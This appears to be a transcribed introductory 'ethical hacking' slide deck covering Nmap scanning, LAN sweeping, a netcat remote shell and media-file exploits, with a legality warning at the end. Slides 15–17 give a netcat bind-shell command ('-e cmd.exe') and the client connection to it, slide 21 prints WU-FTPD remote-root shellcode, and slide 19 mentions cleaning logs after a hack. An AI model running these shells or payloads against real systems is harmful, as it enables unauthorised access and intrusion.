This document provides an overview of advanced scanning and exploitation techniques for security testing. It discusses using Nmap to scan for open ports and operating systems. The importance of local IP sweeping to find vulnerable systems on a local network is explained. Netcat is demonstrated as a simple way to create a remote shell on another system. Brief examples of shellcode and exploits that can be delivered through media files like JPGs and MP3s are also provided. The conclusion emphasizes that while this information is shown for educational purposes, actually exploiting systems without permission would be illegal.

1. Security & “Ethical”
Hacking
By:-Amanpreet Singh
Presentation #1– Advanced Scanning & Exploitation

2. Introduction
 Again “Ethical” hacking
 Do you Sniff before you taste?
 Patience, persistence, some other motivational p
word…
 Have phun, getting frustrated is normal

3. About Me

4. Overview
 Advanced scanning with NMAP (as seen
in the Matrix)
 Local IP Sweeping & its importance
 Netcat rooting, a simple shell
 Identify Station ( operating system )
 Brief Exploit talk & Shell code
 Exploits via Jpgs, Pngs, Mp3s, etc.
 Conclusion

5. Advanced Scanning (NMAP)
 Ok, we have acquired an IP (or range of)
and we want to find out some information
about this system.
 We will use a very popular program
named Nmap.
 Almost every Linux install its packaged,
Windows you will need to download Nmap
and the Win-Pcap files.

6. Advanced Scanning (NMAP)
 Lets look at some of the information
techniques provided by nmap
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idlescan
-sO: IP protocol scan
-b <ftp relay host>: FTP bounce scan
 We will be using another scan technique
to probe open ports and determine
service/versions in use: -sV

7. Advanced Scanning (NMAP)
 So lets run a -sV scan along with -v for verbose and -O
for OS detection

8. Advanced Scanning (NMAP)
 So lots of gibberish, but we can sort
through this for VERY important details!
 First: we have all of the open ports, along
with what versions they are running! Port
139.. Very interesting.
 Second: we also found out the operating
system! Windows 98 SE… that will be
later.

9. Protection from NMAP
 Keep those firewalls up if you’re not a
server and you’re not hosting.
 There is not much you can do.. and NMAP
can be extremely stealthy using advanced
techniques.
 It is scary how much information can be
acquired about you by a simple sniff and
run.

10. Local IP Sweeping
 The LAN is the weakest network generally
 Open ports, open boxes, free IPs, easy
sweeps
 Vast majority of people feel other
computers within the LAN are not hackers,
but compromise a wireless router & bam…

11. Using Angry IP Scanner Again!
 Angry IP Scanner; Its script kiddie, but it works
very well, and is faster than NMAP
 Lets grab our local IP on the network, and begin
our scan, so we are currently 192.168.5.100,
and we know our range is 192.168.5.*
 Use Angry IP Scanner just to find available
peers on the network, this is VERY useful for a
compromised wireless router or compromised
system on a router

12. We Have Local Victims!
 Okay, we have local victims, we can now
use Nmap on each victim.
 Nmap will also bypass firewalls given
enough time with the –P0 option.
 Once we know operating systems, open
ports, we can use online security search
tools such as www.securityfocus.com and
locate exploits!

13. Importance of Local Sweeps
 Compromised routers = compromised
systems, vulnerable on the inside only.
 Apply a full control root kit to a computer
behind a router, and you have LAN
access… hence local IP sweeping
 Viruses often spread within a network
(commercial, government, etc.) using LAN
sweeps

14. Netcat Rooting (Simple Shell)
 Ok, we want to see what kind of access a shell
really has on a system.
 Shell referring to a command prompt window on
another computer.
 Netcat is a very useful UDP/TCP raw
client/server that can also double as a nice shell.
 A windows version is free to download, Linux
generally comes with NC in the shell already.

15. Client/Server
 Determine which computer you want to have a
shell on, and put nc.exe somewhere on there.
 Next run nc.exe with the following parameters:
nc.exe –l –p 666 –e “cmd.exe”
 This will execute Netcat to listen on port 666,
and when connected, it will execute and send
the output of cmd.exe on the server.

16. Client Connection
 Client now connects to the server using
the corresponding line:
nc.exe 192.168.77.2 666
 And Viola! Netcat shell over the network.

17. Why Netcat Root?
 A nice way to make your first root, easy to
expand on this.
 Potential is HUGE when the –e “???” command
is used.
 Netcat is open source, so you can venture the
source code to understand how exactly Netcat
does this.
 This also works in Unix, just replace cmd.exe
with a Unix shell ;)

18. Identify Station
 Continuation of Nmap OS discovery
 Once we have found a target, what kind of
operating system is it running?
 Nmap -O command will usually show you,
unless the computer has a firewall on.

19. Importance of OS ID
 Exploiting and choice of exploits/roots is always
dependent on the type of OS
 Do we want to look for likely exploits, find a more
aggressive approach, or leave it.
 For example, Linux servers often have a SSH server
open, we can either nmap –sV and exploit, or try to
bruteforce.
 Need to know what we are trying to hack,
especially when cleaning up after a successful
hack (log files, email reports of floods /
bruteforce, rootkits, etc.)

20. Brief Exploits & Shell Code
 Exploits come in all sorts of languages &
sizes. Some are simple run once on an IP,
others have various options and offsets.
 Exploits are used as a way of getting into
a system, shell code is what happens
AFTER the exploit is successful.
 Shell code will always vary with
experienced hackers, as they will always
have useful shells on hand.

21. Example Shellcode used by WUFTPD
2.6.0 REMOTE ROOT EXPLOIT
 char linuxcode[]= /* Lam3rZ chroot() code */
"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb"
"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31"
"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27"
"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31"
"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d"
"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46"
"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8"
"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c"
"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0"
"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff"
"x30x62x69x6ex30x73x68x31x2ex2ex31x31";
 This is machine code, used to give specific calls in Linux
that will call chroot() and give the hacker a shell on the
vulnerable system.
 This is public knowledge, just type the following in
Google:
wuftpd exploit filetype:c

22. More on Shells Later
 Creating shells is an entirely different topic, and
we will go into how they actually figure out which
machine code to use and where to inject this in a
later presentation.
 Shells are scary to look at because if you do not
know the machine code or the system its
intended for, there is absolutely no way to know
what its doing, but it can compromise a system!

23. Exploits via Jpg, Pngs, Mp3s
 Exploits come in many varieties, as it just
takes a stray string call or a bad size
check to make a program vulnerable.
 All sorts of formats have been vulnerable,
for example the famous GDI+ Jpg
vulnerability that would execute code just
by viewing a jpg!

24. GDI+ Jpg vulnerability
Posted on Sept. 30, 2004
 “In the exploit attempts against AIM users, intruders post
a copy of an infected JPEG image to their user profile
and then send instant messages to other AIM users
enticing them to view that profile. When someone views
such a profile and the JPEG image loads the viewing
user's computer is then infected.
Still other exploits have been discovered. According to
Symantec two other Trojans, “Moo” and
“Backdoor.Roxe” are spreading although neither appears
to have spread to more than 50 computers at the time of
this writing.

25. Exploits via Jpg, Pngs, Mp3s
 Other vulnerabilities in the form of Pngs
and Mp3s have come into the wild.
 One Mp3 would use the header to execute
a shell in Winamp when the meta-data
was loaded.
 A Png exploit in MSN Messenger would
allow hackers to put shellcode in a Png
and display it as a buddy icon to other
users.

26. Just because its media…
 Just because you’re viewing a jpg, png,
mp3, wmv, you could still be running
something that exploits your computer.
 Many people think exploits come in very
limited forms of scripts, tcp/udp injections
or executables, but there are many ways
in.

27. Resources
 If this type of information interests you, there are
many safe online resources.
 www.hackthissite.org - a friendly playground for
web hackers
 www.phrack.org - a very good place for random
articles with great pieces of info
 www.securityfocus.com - some of the best up-to-
date info about vulnerabilities and exploits.

28. Conclusion
 Again, I emphasize just because I’m showing
you this, does NOT make it legal.
 In fact, scanning government systems with NMAP and
getting caught can land you with fines & possible jail
time. Running exploits with shellcode you do not trust
could be potentially exposing your test system to a
wild virus or backdoor you do not know about.
 Remember, finding exploits that work is tedious,
not everything you find online works every time.
Setup a fun box (something like Mandrake) and
install some vulnerable software on there. See if
you can break into it. Ex. Wuftpd 2.60. Have fun,
it takes work so don’t give up!

29. Thank You For Your Time!
Feel free to email me any
questions/comments at
Er.dehaljatt@gmail.com